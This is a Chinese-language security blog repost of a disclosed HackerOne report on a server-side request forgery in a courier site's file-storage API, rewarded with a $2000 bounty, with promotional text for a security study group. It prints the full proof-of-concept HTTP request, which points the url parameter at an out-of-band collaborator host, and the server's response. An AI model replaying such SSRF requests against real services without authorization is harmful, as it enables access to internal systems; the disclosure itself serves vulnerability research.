价值2000$的SSRF

admin 2024年6月17日15:50:25评论19 views字数 1346阅读4分29秒阅读模式
 H1

价值2000$的SSRF

看到了,关注一下不吃亏啊,点个赞转发一下啦,WP看不下去的,可以B站搜:标松君,UP主录的打靶视频,欢迎关注。顺便宣传一下星球:重生者安全, 里面每天会不定期更新OSCP知识点,车联网渗透红队以及漏洞挖掘工具等信息分享,欢迎加入;以及想挖SRC逻辑漏洞的朋友,可以私聊。

01

SSRF

有时候,改一下URL地址,就能搞到2000刀了。。。歪果仁就改了URL的参数,洞就来了,POC:

GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com HTTP/2Host: couriers.indrive.comSec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Linux"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,ar;q=0.8

响应:

HTTP/2 200 OKAuthorization: Bearer undefinedContent-Disposition: attachment; filename="fileDate: Sun, 31 Dec 2023 13:19:04 GMTX-Envoy-Upstream-Service-Time: 678Server: istio-envoyX-Cache: Miss from cloudfrontVia: 1.1 33c6e91bdc193e34e8dcc80edc466018.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MRS52-P2X-Amz-Cf-Id: 9GuBZr1A03ZS0bEYUbDp80JZj8dNYCE4YoVUImLD5RU15dEM-vs5fQ==<html><body>6zy5d1pwzab93qopx8jq2ezjigz</body></html>
这个真的不是捡洞嘛?赏金居然给了2000$。。。

价值2000$的SSRF

原文链接:

https://hackerone.com/reports/2300358

 

原文始发于微信公众号(道玄网安驿站):价值2000$的SSRF,和捡钱一样容易

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日15:50:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   价值2000$的SSRFhttps://cn-sec.com/archives/2848429.html

发表评论

匿名网友 填写信息